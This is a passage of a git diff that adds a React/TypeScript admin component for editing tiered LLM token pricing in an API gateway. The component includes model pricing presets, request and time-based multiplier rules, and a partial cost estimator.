+          GroupGroupRatio: settings.GroupGroupRatio,
+          AutoGroups: settings.AutoGroups,
+          DefaultUseAutoGroup: settings.DefaultUseAutoGroup,
+          GroupSpecialUsableGroup:
+            settings['group_ratio_setting.group_special_usable_group'],
+        }}
+      />
+    ),
+  },
+] as const
+
+export type ModelSectionId = (typeof MODELS_SECTIONS)[number]['id']
+
+const modelsRegistry = createSectionRegistry<ModelSectionId, ModelSettings>({
+  sections: MODELS_SECTIONS,
+  defaultSection: 'global',
+  basePath: '/system-settings/models',
+  urlStyle: 'path',
+})
+
+export const MODELS_SECTION_IDS = modelsRegistry.sectionIds
+export const MODELS_DEFAULT_SECTION = modelsRegistry.defaultSection
+export const getModelsSectionNavItems = modelsRegistry.getSectionNavItems
+export const getModelsSectionContent = modelsRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/models/tiered-pricing-editor.tsx b/new-api/web/default/src/features/system-settings/models/tiered-pricing-editor.tsx
new file mode 100644
index 0000000..e51486f
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/tiered-pricing-editor.tsx
@@ -0,0 +1,1609 @@
+import { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { Copy, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { cn } from '@/lib/utils'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Textarea } from '@/components/ui/textarea'
+import {
+  BILLING_EXTRA_VARS,
+  COMMON_TIMEZONES,
+  MATCH_CONTAINS,
+  MATCH_EQ,
+  MATCH_EXISTS,
+  MATCH_RANGE,
+  SOURCE_HEADER,
+  SOURCE_PARAM,
+  SOURCE_TIME,
+  TIME_FUNCS,
+  buildRequestRuleExpr,
+  combineBillingExpr,
+  createEmptyCondition,
+  createEmptyRuleGroup,
+  createEmptyTimeCondition,
+  createEmptyTimeRuleGroup,
+  getRequestRuleMatchOptions,
+  splitBillingExprAndRequestRules,
+  tryParseRequestRuleExpr,
+  type ParamHeaderCondition,
+  type RequestCondition,
+  type RequestRuleGroup,
+  type TimeCondition,
+  type TimeFunc,
+} from '@/features/pricing/lib/billing-expr'
+import {
+  CACHE_MODE_GENERIC,
+  CACHE_MODE_TIMED,
+  type CacheMode,
+  type ExtraTokenValues,
+  type TierConditionInput,
+  type VisualConfig,
+  type VisualTier,
+  createDefaultVisualConfig,
+  evalExprLocally,
+  exprUsesExtraVars,
+  generateExprFromVisualConfig,
+  getTierCacheMode,
+  normalizeVisualConfig,
+  normalizeVisualTier,
+  tryParseVisualConfig,
+} from '@/features/pricing/lib/tier-expr'
+
+const PRICE_SUFFIX = '$/1M tokens'
+
+const VAR_OPTIONS: { value: TierConditionInput['var']; label: string }[] = [
+  { value: 'len', label: 'len (input length)' },
+  { value: 'p', label: 'p (input)' },
+  { value: 'c', label: 'c (output)' },
+]
+const OPS: TierConditionInput['op'][] = ['<', '<=', '>', '>=']
+
+type Preset = {
+  key: string
+  label: string
+  expr: string
+  requestRules?: RequestRuleGroup[]
+}
+
+type PresetGroup = {
+  group: string
+  presets: Preset[]
+}
+
+const PRESET_GROUPS: PresetGroup[] = [
+  {
+    group: 'Fixed price',
+    presets: [
+      { key: 'flat', label: 'Flat', expr: 'tier("base", p * 2 + c * 4)' },
+      {
+        key: 'claude-opus',
+        label: 'Claude Opus 4.6',
+        expr: 'tier("base", p * 5 + c * 25 + cr * 0.5 + cc * 6.25 + cc1h * 10)',
+      },
+      {
+        key: 'gpt-5.4',
+        label: 'GPT-5.4',
+        expr: 'len <= 272000 ? tier("standard", p * 2.5 + c * 15 + cr * 0.25) : tier("long_context", p * 5 + c * 22.5 + cr * 0.5)',
+      },
+    ],
+  },
+  {
+    group: 'Tiered',
+    presets: [
+      {
+        key: 'claude-sonnet',
+        label: 'Claude Sonnet 4.5',
+        expr: 'len <= 200000 ? tier("standard", p * 3 + c * 15 + cr * 0.3 + cc * 3.75 + cc1h * 6) : tier("long_context", p * 6 + c * 22.5 + cr * 0.6 + cc * 7.5 + cc1h * 12)',
+      },
+      {
+        key: 'qwen3-max',
+        label: 'Qwen3 Max',
+        expr: 'len <= 32000 ? tier("short", p * 1.2 + c * 6 + cr * 0.24 + cc * 1.5) : len <= 128000 ? tier("mid", p * 2.4 + c * 12 + cr * 0.48 + cc * 3) : tier("long", p * 3 + c * 15 + cr * 0.6 + cc * 3.75)',
+      },
+      {
+        key: 'glm-4.5-air',
+        label: 'GLM-4.5 Air',
+        expr: 'len < 32000 && c < 200 ? tier("short_output", p * 0.8 + c * 2 + cr * 0.16) : len < 32000 && c >= 200 ? tier("long_output", p * 0.8 + c * 6 + cr * 0.16) : tier("mid_context", p * 1.2 + c * 8 + cr * 0.24)',
+      },
+      {
+        key: 'doubao-seed-1.8',
+        label: 'Doubao Seed 1.8',
+        expr: 'len <= 32000 && c <= 200 ? tier("discount", p * 0.8 + c * 2 + cr * 0.16 + cc * 0.17) : len <= 32000 ? tier("short", p * 0.8 + c * 8 + cr * 0.16 + cc * 0.17) : len <= 128000 ? tier("mid", p * 1.2 + c * 16 + cr * 0.16 + cc * 0.17) : tier("long", p * 2.4 + c * 24 + cr * 0.16 + cc * 0.17)',
+      },
+    ],
+  },
+  {
+    group: 'Multimodal',
+    presets: [
+      {
+        key: 'gpt-image-1-mini',
+        label: 'GPT Image 1 Mini',
+        expr: 'tier("base", p * 2 + c * 8 + img * 2.5)',
+      },
+      {
+        key: 'gemini-2.5-flash',
+        label: 'Gemini 2.5 Flash',
+        expr: 'tier("base", p * 0.3 + c * 2.5 + cr * 0.03 + ai * 1.0)',
+      },
+      {
+        key: 'gemini-3-pro-image',
+        label: 'Gemini 3 Pro Image',
+        expr: 'tier("base", p * 2 + c * 12 + img_o * 120)',
+      },
+      {
+        key: 'qwen3-omni-flash',
+        label: 'Qwen3 Omni Flash',
+        expr: 'tier("base", p * 0.43 + c * 3.06 + img * 0.78 + ai * 3.81 + ao * 15.11)',
+      },
+    ],
+  },
+  {
+    group: 'Request rule',
+    presets: [
+      {
+        key: 'claude-opus-fast',
+        label: 'Claude Opus 4.6 Fast',
+        expr: 'tier("base", p * 5 + c * 25 + cr * 0.5 + cc * 6.25 + cc1h * 10)',
+        requestRules: [
+          {
+            conditions: [
+              {
+                source: SOURCE_HEADER as 'header',
+                path: 'anthropic-beta',
+                mode: MATCH_CONTAINS,
+                value: 'fast-mode-2026-02-01',
+              },
+            ],
+            multiplier: '6',
+          },
+        ],
+      },
+      {
+        key: 'gpt-5.4-tiers',
+        label: 'GPT-5.4 Priority/Flex',
+        expr: 'len <= 272000 ? tier("standard", p * 2.5 + c * 15 + cr * 0.25) : tier("long_context", p * 5 + c * 22.5 + cr * 0.5)',
+        requestRules: [
+          {
+            conditions: [
+              {
+                source: SOURCE_PARAM as 'param',
+                path: 'service_tier',
+                mode: MATCH_EQ,
+                value: 'priority',
+              },
+            ],
+            multiplier: '2',
+          },
+          {
+            conditions: [
+              {
+                source: SOURCE_PARAM as 'param',
+                path: 'service_tier',
+                mode: MATCH_EQ,
+                value: 'flex',
+              },
+            ],
+            multiplier: '0.5',
+          },
+        ],
+      },
+    ],
+  },
+  {
+    group: 'Time-based',
+    presets: [
+      {
+        key: 'night-discount',
+        label: 'Night discount (50%)',
+        expr: 'tier("base", p * 3 + c * 15)',
+        requestRules: [
+          {
+            conditions: [
+              {
+                source: SOURCE_TIME as 'time',
+                timeFunc: 'hour',
+                timezone: 'Asia/Shanghai',
+                mode: MATCH_RANGE,
+                value: '',
+                rangeStart: '21',
+                rangeEnd: '6',
+              },
+            ],
+            multiplier: '0.5',
+          },
+        ],
+      },
+      {
+        key: 'weekend-discount',
+        label: 'Weekend discount (80%)',
+        expr: 'tier("base", p * 3 + c * 15)',
+        requestRules: [
+          {
+            conditions: [
+              {
+                source: SOURCE_TIME as 'time',
+                timeFunc: 'weekday',
+                timezone: 'Asia/Shanghai',
+                mode: MATCH_EQ,
+                value: '0',
+                rangeStart: '',
+                rangeEnd: '',
+              },
+            ],
+            multiplier: '0.8',
+          },
+          {
+            conditions: [
+              {
+                source: SOURCE_TIME as 'time',
+                timeFunc: 'weekday',
+                timezone: 'Asia/Shanghai',
+                mode: MATCH_EQ,
+                value: '6',
+                rangeStart: '',
+                rangeEnd: '',
+              },
+            ],
+            multiplier: '0.8',
+          },
+        ],
+      },
+    ],
+  },
+]
+
+function unitCostToPrice(uc: number | string): number {
+  return Number(uc) || 0
+}
+
+function priceToUnitCost(price: number | string): number {
+  return Number(price) || 0
+}
+
+function formatTokenHint(n: number | string | null | undefined): string {
+  if (n == null || n === '' || Number.isNaN(Number(n))) return ''
+  const v = Number(n)
+  if (v === 0) return '= 0'
+  if (v >= 1_000_000) return `= ${(v / 1_000_000).toLocaleString()}M tokens`
+  if (v >= 1_000) return `= ${(v / 1_000).toLocaleString()}K tokens`
+  return `= ${v.toLocaleString()} tokens`
+}
+
+// ---------------------------------------------------------------------------
+// Tier condition row
+// ---------------------------------------------------------------------------
+
+type ConditionRowProps = {
+  condition: TierConditionInput
+  onChange: (next: TierConditionInput) => void
+  onRemove: () => void
+}
+
+function ConditionRow({ condition, onChange, onRemove }: ConditionRowProps) {
+  return (
+    <div className='flex items-center gap-2'>
+      <Select
+        value={condition.var}
+        onValueChange={(value) =>
+          onChange({ ...condition, var: value as TierConditionInput['var'] })
+        }
+      >
+        <SelectTrigger className='w-32' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {VAR_OPTIONS.map((option) => (
+            <SelectItem key={option.value} value={option.value}>
+              {option.label}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      <Select
+        value={condition.op}
+        onValueChange={(value) =>
+          onChange({ ...condition, op: value as TierConditionInput['op'] })
+        }
+      >
+        <SelectTrigger className='w-20' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {OPS.map((op) => (
+            <SelectItem key={op} value={op}>
+              {op}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      <Input
+        type='number'
+        min={0}
+        value={condition.value === '' ? '' : Number(condition.value)}
+        onChange={(event) =>
+          onChange({ ...condition, value: event.target.value })
+        }
+        placeholder='tokens'
+        className='w-32'
+      />
+      <span className='text-muted-foreground text-xs'>
+        {formatTokenHint(condition.value)}
+      </span>
+      <Button
+        variant='ghost'
+        size='icon'
+        onClick={onRemove}
+        aria-label='remove'
+        className='ml-auto'
+      >
+        <Trash2 className='text-destructive h-4 w-4' />
+      </Button>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Price input field
+// ---------------------------------------------------------------------------
+
+type PriceFieldProps = {
+  label: string
+  hint?: string
+  value: number
+  onChange: (next: number) => void
+  showSuffix?: boolean
+}
+
+function PriceField({
+  label,
+  hint,
+  value,
+  onChange,
+  showSuffix = true,
+}: PriceFieldProps) {
+  return (
+    <div className='space-y-1'>
+      <Label className='text-xs'>{label}</Label>
+      <div className='flex items-center gap-2'>
+        <Input
+          type='number'
+          min={0}
+          step={0.01}
+          value={Number.isFinite(value) ? value : 0}
+          onChange={(event) => onChange(Number(event.target.value) || 0)}
+          className='w-32'
+        />
+        {showSuffix && (
+          <span className='text-muted-foreground text-xs'>{PRICE_SUFFIX}</span>
+        )}
+      </div>
+      {hint && <p className='text-muted-foreground text-xs'>{hint}</p>}
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Single tier card (visual editor)
+// ---------------------------------------------------------------------------
+
+type VisualTierCardProps = {
+  tier: VisualTier
+  index: number
+  total: number
+  onChange: (next: VisualTier) => void
+  onRemove: () => void
+  onAddCondition: () => void
+}
+
+function VisualTierCard({
+  tier,
+  index,
+  total,
+  onChange,
+  onRemove,
+  onAddCondition,
+}: VisualTierCardProps) {
+  const { t } = useTranslation()
+  const cacheMode = getTierCacheMode(tier)
+
+  const handleConditionChange = (
+    conditionIndex: number,
+    next: TierConditionInput
+  ) => {
+    const conditions = [...tier.conditions]
+    conditions[conditionIndex] = next
+    onChange({ ...tier, conditions })
+  }
+
+  const handleConditionRemove = (conditionIndex: number) => {
+    onChange({
+      ...tier,
+      conditions: tier.conditions.filter((_, i) => i !== conditionIndex),
+    })
+  }
+
+  const handlePriceChange = (field: keyof VisualTier, value: number) => {
+    onChange({ ...tier, [field]: value })
+  }
+
+  const handleCacheModeChange = (mode: CacheMode) => {
+    onChange({
+      ...tier,
+      cache_mode: mode,
+      cache_create_1h_unit_cost:
+        mode === CACHE_MODE_TIMED ? (tier.cache_create_1h_unit_cost ?? 0) : 0,
+    })
+  }
+
+  const inputUnitPrice = unitCostToPrice(tier.input_unit_cost)
+  const outputUnitPrice = unitCostToPrice(tier.output_unit_cost)
+
+  return (
+    <div className='bg-muted/30 space-y-3 rounded-md border p-3'>
+      <div className='flex items-center justify-between gap-2'>
+        <div className='flex items-center gap-2'>
+          <Badge variant='outline'>
+            {t('Tier')} {index + 1} / {total}
+          </Badge>
+          <Input
+            value={tier.label}
+            onChange={(event) =>
+              onChange({ ...tier, label: event.target.value })
+            }
+            placeholder={t('Tier name')}
+            className='h-8 w-40'
+          />
+        </div>
+        <Button
+          variant='ghost'
+          size='icon'
+          onClick={onRemove}
+          disabled={total <= 1}
+          aria-label={t('Remove tier')}
+        >
+          <Trash2 className='text-destructive h-4 w-4' />
+        </Button>
+      </div>
+
+      <div className='space-y-2'>
+        <div className='flex items-center justify-between'>
+          <Label className='text-xs'>{t('Conditions (AND)')}</Label>
+          <Button
+            variant='ghost'
+            size='sm'
+            onClick={onAddCondition}
+            disabled={tier.conditions.length >= 2}
+            className='h-7 px-2 text-xs'
+          >
+            <Plus className='mr-1 h-3 w-3' />
+            {t('Add condition')}
+          </Button>
+        </div>
+        {tier.conditions.length === 0 ? (
+          <p className='text-muted-foreground text-xs'>
+            {t('Always matches (default tier).')}
+          </p>
+        ) : (
+          tier.conditions.map((condition, conditionIndex) => (
+            <ConditionRow
+              key={conditionIndex}
+              condition={condition}
+              onChange={(next) => handleConditionChange(conditionIndex, next)}
+              onRemove={() => handleConditionRemove(conditionIndex)}
+            />
+          ))
+        )}
+      </div>
+
+      <div className='grid grid-cols-1 gap-3 md:grid-cols-2'>
+        <PriceField
+          label={t('Input price')}
+          hint={`${inputUnitPrice} × p`}
+          value={inputUnitPrice}
+          onChange={(value) =>
+            handlePriceChange('input_unit_cost', priceToUnitCost(value))
+          }
+        />
+        <PriceField
+          label={t('Output price')}
+          hint={`${outputUnitPrice} × c`}
+          value={outputUnitPrice}
+          onChange={(value) =>
+            handlePriceChange('output_unit_cost', priceToUnitCost(value))
+          }
+        />
+      </div>
+
+      <div className='space-y-2'>
+        <div className='flex items-center justify-between'>
+          <Label className='text-xs'>{t('Cache mode')}</Label>
+          <Select
+            value={cacheMode}
+            onValueChange={(value) => handleCacheModeChange(value as CacheMode)}
+          >
+            <SelectTrigger className='w-44' size='sm'>
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              <SelectItem value={CACHE_MODE_GENERIC}>
+                {t('Generic cache')}
+              </SelectItem>
+              <SelectItem value={CACHE_MODE_TIMED}>
+                {t('Timed cache (1h)')}
+              </SelectItem>
+            </SelectContent>
+          </Select>
+        </div>
+        <div className='grid grid-cols-1 gap-3 md:grid-cols-2'>
+          {BILLING_EXTRA_VARS.map((variable) => {
+            if (variable.key === 'cc1h' && cacheMode !== CACHE_MODE_TIMED) {
+              return null
+            }
+            const fieldKey = variable.tierField as keyof VisualTier
+            const value = unitCostToPrice(
+              (tier[fieldKey] as number | undefined) ?? 0
+            )
+            return (
+              <PriceField
+                key={variable.key}
+                label={variable.label}
+                hint={`${value} × ${variable.key}`}
+                value={value}
+                onChange={(next) =>
+                  handlePriceChange(fieldKey, priceToUnitCost(next))
+                }
+              />
+            )
+          })}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Visual editor (list of tiers)
+// ---------------------------------------------------------------------------
+
+type VisualEditorProps = {
+  visualConfig: VisualConfig | null
+  onChange: (next: VisualConfig) => void
+}
+
+function VisualEditor({ visualConfig, onChange }: VisualEditorProps) {
+  const { t } = useTranslation()
+  const config = useMemo(
+    () => normalizeVisualConfig(visualConfig),
+    [visualConfig]
+  )
+
+  const handleTierChange = (index: number, next: VisualTier) => {
+    const tiers = [...config.tiers]
+    tiers[index] = normalizeVisualTier(next)
+    onChange({ ...config, tiers })
+  }
+
+  const handleAddTier = () => {
+    const tiers = [...config.tiers]
+    const lastIndex = tiers.length - 1
+    // When adding a new fallback, give the previous catch-all tier a default
+    // upper-bound condition so the expression compiles into a sane two-tier
+    // shape. Mirrors the classic editor's UX for adding tiers.
+    if (lastIndex >= 0 && tiers[lastIndex].conditions.length === 0) {
+      tiers[lastIndex] = normalizeVisualTier({
+        ...tiers[lastIndex],
+        conditions: [{ var: 'len', op: '<', value: 200000 }],
+      })
+    }
+    tiers.push(
+      normalizeVisualTier({
+        label: `tier_${tiers.length + 1}`,
+        conditions: [],
+        input_unit_cost: 0,
+        output_unit_cost: 0,
+      })
+    )
+    onChange({ ...config, tiers })
+  }
+
+  const handleRemoveTier = (index: number) => {
+    const tiers = config.tiers.filter((_, i) => i !== index)
+    onChange({ ...config, tiers: tiers.length > 0 ? tiers : config.tiers })
+  }
+
+  const handleAddCondition = (index: number) => {
+    const tier = config.tiers[index]
+    if (tier.conditions.length >= 2) return
+    // Prefer `len` (input length) over `p`/`c` for tier conditions because
+    // `p` is subject to auto-exclusion when sub-categories like `cr` are
+    // priced separately, which can misroute long-input requests into shorter
+    // tiers when cache-hits reduce the effective `p`.
+    const usedVars = new Set(tier.conditions.map((c) => c.var))
+    const nextVar: TierConditionInput['var'] = usedVars.has('len') ? 'c' : 'len'
+    onChange({
+      ...config,
+      tiers: config.tiers.map((current, i) =>
+        i === index
+          ? {
+              ...current,
+              conditions: [
+                ...tier.conditions,
+                { var: nextVar, op: '<', value: 200000 },
+              ],
+            }
+          : current
+      ),
+    })
+  }
+
+  return (
+    <div className='space-y-3'>
+      <Alert>
+        <AlertDescription className='text-xs'>
+          {t(
+            'Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.'
+          )}
+        </AlertDescription>
+      </Alert>
+      {config.tiers.map((tier, index) => (
+        <VisualTierCard
+          key={index}
+          tier={tier}
+          index={index}
+          total={config.tiers.length}
+          onChange={(next) => handleTierChange(index, next)}
+          onRemove={() => handleRemoveTier(index)}
+          onAddCondition={() => handleAddCondition(index)}
+        />
+      ))}
+      <Button variant='outline' size='sm' onClick={handleAddTier}>
+        <Plus className='mr-2 h-4 w-4' />
+        {t('Add tier')}
+      </Button>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Raw expression editor
+// ---------------------------------------------------------------------------
+
+type RawExprEditorProps = {
+  exprString: string
+  onChange: (value: string) => void
+}
+
+function RawExprEditor({ exprString, onChange }: RawExprEditorProps) {
+  const { t } = useTranslation()
+  return (
+    <div className='space-y-3'>
+      <Alert>
+        <AlertDescription className='space-y-1 text-xs'>
+          <div>
+            {t('Variables')}: <code>len</code>, <code>p</code>, <code>c</code>,{' '}
+            <code>cr</code>, <code>cc</code>, <code>cc1h</code>,{' '}
+            <code>img</code>, <code>img_o</code>, <code>ai</code>,{' '}
+            <code>ao</code>
+          </div>
+          <div>
+            {t('Functions')}: <code>tier(name, value)</code>, <code>max</code>,{' '}
+            <code>min</code>, <code>ceil</code>, <code>floor</code>,{' '}
+            <code>abs</code>, <code>header(name)</code>,{' '}
+            <code>param(path)</code>, <code>has(source, text)</code>
+          </div>
+        </AlertDescription>
+      </Alert>
+      <Textarea
+        value={exprString}
+        onChange={(event) => onChange(event.target.value)}
+        placeholder='tier("base", p * 3 + c * 15)'
+        rows={6}
+        className='font-mono text-xs'
+        spellCheck={false}
+      />
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Request rule condition row
+// ---------------------------------------------------------------------------
+
+type RuleConditionRowProps = {
+  condition: RequestCondition
+  onChange: (next: RequestCondition) => void
+  onRemove: () => void
+}
+
+function RuleConditionRow({
+  condition,
+  onChange,
+  onRemove,
+}: RuleConditionRowProps) {
+  const { t } = useTranslation()
+  const matchOptions = getRequestRuleMatchOptions(condition.source)
+
+  const handleSourceChange = (source: string) => {
+    if (source === SOURCE_TIME) {
+      onChange(createEmptyTimeCondition())
+    } else if (source === SOURCE_HEADER || source === SOURCE_PARAM) {
+      onChange({
+        ...createEmptyCondition(),
+        source: source as 'param' | 'header',
+      })
+    }
+  }
+
+  const handleModeChange = (mode: string) => {
+    onChange({ ...condition, mode } as RequestCondition)
+  }
+
+  const renderTimeCondition = (timeCond: TimeCondition) => (
+    <>
+      <Select
+        value={timeCond.timeFunc}
+        onValueChange={(value) =>
+          onChange({ ...timeCond, timeFunc: value as TimeFunc })
+        }
+      >
+        <SelectTrigger className='w-32' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {TIME_FUNCS.map((fn) => (
+            <SelectItem key={fn} value={fn}>
+              {fn}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      <Select
+        value={timeCond.timezone}
+        onValueChange={(value) => onChange({ ...timeCond, timezone: value })}
+      >
+        <SelectTrigger className='w-56' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {COMMON_TIMEZONES.map((tz) => (
+            <SelectItem key={tz.value} value={tz.value}>
+              {tz.label}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      <Select value={timeCond.mode} onValueChange={handleModeChange}>
+        <SelectTrigger className='w-32' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {matchOptions.map((option) => (
+            <SelectItem key={option.value} value={option.value}>
+              {t(option.labelKey)}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      {timeCond.mode === MATCH_RANGE ? (
+        <>
+          <Input
+            type='number'
+            value={timeCond.rangeStart}
+            onChange={(event) =>
+              onChange({ ...timeCond, rangeStart: event.target.value })
+            }
+            placeholder='start'
+            className='w-20'
+          />
+          <span className='text-muted-foreground text-xs'>~</span>
+          <Input
+            type='number'
+            value={timeCond.rangeEnd}
+            onChange={(event) =>
+              onChange({ ...timeCond, rangeEnd: event.target.value })
+            }
+            placeholder='end'
+            className='w-20'
+          />
+        </>
+      ) : (
+        <Input
+          type='number'
+          value={timeCond.value}
+          onChange={(event) =>
+            onChange({ ...timeCond, value: event.target.value })
+          }
+          placeholder='value'
+          className='w-24'
+        />
+      )}
+    </>
+  )
+
+  const renderParamHeaderCondition = (phCond: ParamHeaderCondition) => (
+    <>
+      <Input
+        value={phCond.path}
+        onChange={(event) => onChange({ ...phCond, path: event.target.value })}
+        placeholder={
+          phCond.source === SOURCE_HEADER ? 'X-Header-Name' : 'service_tier'
+        }
+        className='w-44'
+      />
+      <Select value={phCond.mode} onValueChange={handleModeChange}>
+        <SelectTrigger className='w-32' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {matchOptions.map((option) => (
+            <SelectItem key={option.value} value={option.value}>
+              {t(option.labelKey)}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+      {phCond.mode !== MATCH_EXISTS && (
+        <Input
+          value={phCond.value}
+          onChange={(event) =>
+            onChange({ ...phCond, value: event.target.value })
+          }
+          placeholder={t('Value')}
+          className='w-44'
+        />
+      )}
+    </>
+  )
+
+  return (
+    <div className='flex flex-wrap items-center gap-2'>
+      <Select value={condition.source} onValueChange={handleSourceChange}>
+        <SelectTrigger className='w-28' size='sm'>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          <SelectItem value={SOURCE_PARAM}>{t('Body param')}</SelectItem>
+          <SelectItem value={SOURCE_HEADER}>{t('Header')}</SelectItem>
+          <SelectItem value={SOURCE_TIME}>{t('Time')}</SelectItem>
+        </SelectContent>
+      </Select>
+      {condition.source === SOURCE_TIME
+        ? renderTimeCondition(condition as TimeCondition)
+        : renderParamHeaderCondition(condition as ParamHeaderCondition)}
+      <Button
+        variant='ghost'
+        size='icon'
+        onClick={onRemove}
+        aria-label={t('Remove condition')}
+        className='ml-auto'
+      >
+        <Trash2 className='text-destructive h-4 w-4' />
+      </Button>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Request rule group card
+// ---------------------------------------------------------------------------
+
+type RuleGroupCardProps = {
+  group: RequestRuleGroup
+  index: number
+  onChange: (next: RequestRuleGroup) => void
+  onRemove: () => void
+}
+
+function RuleGroupCard({
+  group,
+  index,
+  onChange,
+  onRemove,
+}: RuleGroupCardProps) {
+  const { t } = useTranslation()
+
+  const handleConditionChange = (
+    conditionIndex: number,
+    next: RequestCondition
+  ) => {
+    const conditions = [...group.conditions]
+    conditions[conditionIndex] = next
+    onChange({ ...group, conditions })
+  }
+
+  const handleAddCondition = (timeMode: boolean) => {
+    onChange({
+      ...group,
+      conditions: [
+        ...group.conditions,
+        timeMode ? createEmptyTimeCondition() : createEmptyCondition(),
+      ],
+    })
+  }
+
+  return (
+    <div className='bg-muted/30 space-y-3 rounded-md border p-3'>
+      <div className='flex items-center justify-between gap-2'>
+        <Badge variant='outline'>
+          {t('Rule group')} #{index + 1}
+        </Badge>
+        <Button
+          variant='ghost'
+          size='icon'
+          onClick={onRemove}
+          aria-label={t('Remove rule group')}
+        >
+          <Trash2 className='text-destructive h-4 w-4' />
+        </Button>
+      </div>
+
+      <div className='space-y-2'>
+        {group.conditions.map((condition, conditionIndex) => (
+          <RuleConditionRow
+            key={conditionIndex}
+            condition={condition}
+            onChange={(next) => handleConditionChange(conditionIndex, next)}
+            onRemove={() =>
+              onChange({
+                ...group,
+                conditions: group.conditions.filter(
+                  (_, i) => i !== conditionIndex
+                ),
+              })
+            }
+          />
+        ))}
+        <div className='flex flex-wrap gap-2'>
+          <Button
+            variant='ghost'
+            size='sm'
+            onClick={() => handleAddCondition(false)}
+          >
+            <Plus className='mr-1 h-3 w-3' />
+            {t('Add param/header')}
+          </Button>
+          <Button
+            variant='ghost'
+            size='sm'
+            onClick={() => handleAddCondition(true)}
+          >
+            <Plus className='mr-1 h-3 w-3' />
+            {t('Add time condition')}
+          </Button>
+        </div>
+      </div>
+
+      <div className='flex items-center gap-2'>
+        <Label className='text-xs'>{t('Multiplier')}</Label>
+        <Input
+          type='number'
+          min={0}
+          step={0.01}
+          value={group.multiplier}
+          onChange={(event) =>
+            onChange({ ...group, multiplier: event.target.value })
+          }
+          className='w-32'
+          placeholder='1.0'
+        />
+        <span className='text-muted-foreground text-xs'>
+          {t('Final cost = base × multiplier when conditions match')}
+        </span>
+      </div>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Preset section
+// ---------------------------------------------------------------------------
+
+type PresetSectionProps = {
+  applyPreset: (preset: Preset) => void
+}
+
+function PresetSection({ applyPreset }: PresetSectionProps) {
+  const { t } = useTranslation()
+  const [expanded, setExpanded] = useState(false)
+  const visible = expanded ? PRESET_GROUPS : PRESET_GROUPS.slice(0, 2)
+  const hasMore = PRESET_GROUPS.length > 2
+
+  return (
+    <div className='space-y-2'>
+      <div className='flex items-center gap-2'>
+        <span className='text-muted-foreground text-xs'>
+          {t('Preset templates')}
+        </span>
+        {hasMore && (
+          <Button
+            variant='ghost'
+            size='sm'
+            className='h-6 px-2 text-xs'
+            onClick={() => setExpanded((prev) => !prev)}
+          >
+            {expanded ? t('Collapse') : t('More templates...')}
+          </Button>
+        )}
+      </div>
+      <div className='space-y-1'>
+        {visible.map((presetGroup) => (
+          <div
+            key={presetGroup.group}
+            className='flex flex-wrap items-center gap-2'
+          >
+            <Badge variant='secondary' className='min-w-[60px] justify-center'>
+              {t(presetGroup.group)}
+            </Badge>
+            {presetGroup.presets.map((preset) => (
+              <Button
+                key={preset.key}
+                variant='outline'
+                size='sm'
+                className='h-7 text-xs'
+                onClick={() => applyPreset(preset)}
+              >
+                {preset.label}
+              </Button>
+            ))}
+          </div>
+        ))}
+      </div>
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Cost estimator
+// ---------------------------------------------------------------------------
+
+type EstimatorProps = {
+  effectiveExpr: string
+}
+
+function CostEstimator({ effectiveExpr }: EstimatorProps) {
+  const { t } = useTranslation()
+  const [promptTokens, setPromptTokens] = useState(0)
+  const [completionTokens, setCompletionTokens] = useState(0)
+  const [extras, setExtras] = useState<ExtraTokenValues>({
+    cacheReadTokens: 0,
+    cacheCreateTokens: 0,
+    cacheCreate1hTokens: 0,
+    imageTokens: 0,
+    imageOutputTokens: 0,
+    audioInputTokens: 0,
+    audioOutputTokens: 0,
+  })
+
+  const usesExtras = useMemo(
+    () => exprUsesExtraVars(effectiveExpr),
+    [effectiveExpr]
+  )
+
+  const result = useMemo(
+    () =>
+      evalExprLocally(effectiveExpr, promptTokens, completionTokens, extras),
+    [effectiveExpr, promptTokens, completionTokens, extras]
+  )
+
+  return (
+    <div className='bg-muted/30 space-y-3 rounded-md border p-3'>
+      <div className='space-y-1'>
+        <h4 className='text-sm font-medium'>{t('Token estimator')}</h4>
+        <p className='text-muted-foreground text-xs'>
+          {t(
+            'Enter token counts to preview the estimated cost (excluding group multipliers).'
+          )}
+        </p>
+      </div>
